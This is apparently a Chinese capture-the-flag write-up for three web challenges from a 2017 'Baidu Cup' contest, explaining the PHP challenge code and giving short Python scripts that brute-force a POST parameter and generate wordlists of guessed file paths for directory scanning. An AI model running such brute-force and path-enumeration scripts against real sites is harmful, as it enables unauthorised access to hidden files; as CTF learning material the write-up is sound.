“百度杯”2017年春秋欢乐赛WP--web

一、攻击

“百度杯”2017年春秋欢乐赛WP--web_第1张图片

$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。

PHP编程中经常需要用到一些服务器的一些资料,$_SERVER的详细参数参考:

https://www.cnblogs.com/feng12345/p/5377258.html

if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已进入系统黑名单");

如果自己的IP地址已存在于$ip中则会显示已在黑名单中

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;

若$flag中从第六位开始长度为3变量的字符串内容为attack,则显示flag

如果不成功,自己的IP会写入$ip

代码表明你只有一次的攻击机会

没办法,只能穷举$flag中从第六的位置开始的长度为3的字符串,然后将所有穷举出来的结果post方式,一次性提交,这种方法的前提是要猜$flag中有哪些字符。如果少了某个字符,就不能通过,ip也进入黑名单,只能重新获取题目网站了。

代码如下:

import requests

flagchar="0123456789abcdefgh"

url="http://3ca308a855694c6fbd1bf9ceb08fca4f96cf359293c54c11.changame.ichunqiu.com/"

dData={}

for a in flagchar:

    for b in flagchar:

        for c in flagchar:

            dData[a+b+c]="attack"

print(dData)

res=requests.post(url,data=dData)

print(res.text)

二、象棋

F12发现如下正则公式,怀疑是flag文件

规则:url+/js/+abcmlyx中的两位+ctf+0-9中三位+.js

脚本如下

key1 = "abcmlyx"

key2 = "0123456789"

file = open("xiangqi.txt","w+")


for a in key1:

    for b in key1:

        for c in key2:

            for d in key2:

                for e in key2:

                    url="/js/"+a+b+"ctf"+str(c)+str(d)+str(e)+".js"+"\n"

                    file.write(url)

file.close()

得到字典后,用御剑进行爆破得到flag文件

“百度杯”2017年春秋欢乐赛WP--web_第2张图片

“百度杯”2017年春秋欢乐赛WP--web_第3张图片

三、时间

“百度杯”2017年春秋欢乐赛WP--web_第4张图片

解释下代码的意思:

show_source() :函数对文件进行语法高亮显示

cookie中的token值如果等于 hello,就执行下面的代码

file_get_contents() 把flag.php文件内容读取到$txt变量中

mt_rand()取随机数,比rand()快4倍,而且如果mt_rand(1,10)的话1和10都会取得到的

通过md5对mt_rand取值的加密然后拼接'u/'和'.txt'得到文件的名字存入到$filename中

file_put_contents()把$txt的内容写入到$filename的文件中取

sleep(10):休眠10秒

unlink() :删除文件

说明我们访问这个网站时,网站目录中会随机生成一个文件包含flag.php的内容,但10秒后会自动删除,所以我们将所有可能的文件名都列出来生成字典

 

MD5加密python脚本:

hash = hashlib.md5()

hash.update('加密的文本'.encode('utf-8'))

print(hash.hexdigest())

参考:https://www.cnblogs.com/wang-yc/p/5616663.html

python源码如下:

import hashlib
import requests
file = open("shijian.txt",'w+')
for i in range(1,1001):
	m = hashlib.md5()
	m.update(str(i).encode())
	mid = m.hexdigest()
	url = 'u/'+mid+'.txt'
	file.write(url+'\n')
file.close()

python文件权限对照表:

“百度杯”2017年春秋欢乐赛WP--web_第5张图片

生成字典如下:

“百度杯”2017年春秋欢乐赛WP--web_第6张图片

 

将字典加载到御剑来跑,应该可以得到flag

但是一扫就被i春秋的waf ban 暂时还没想到解决方法(太菜了

 

你可能感兴趣的:(Web)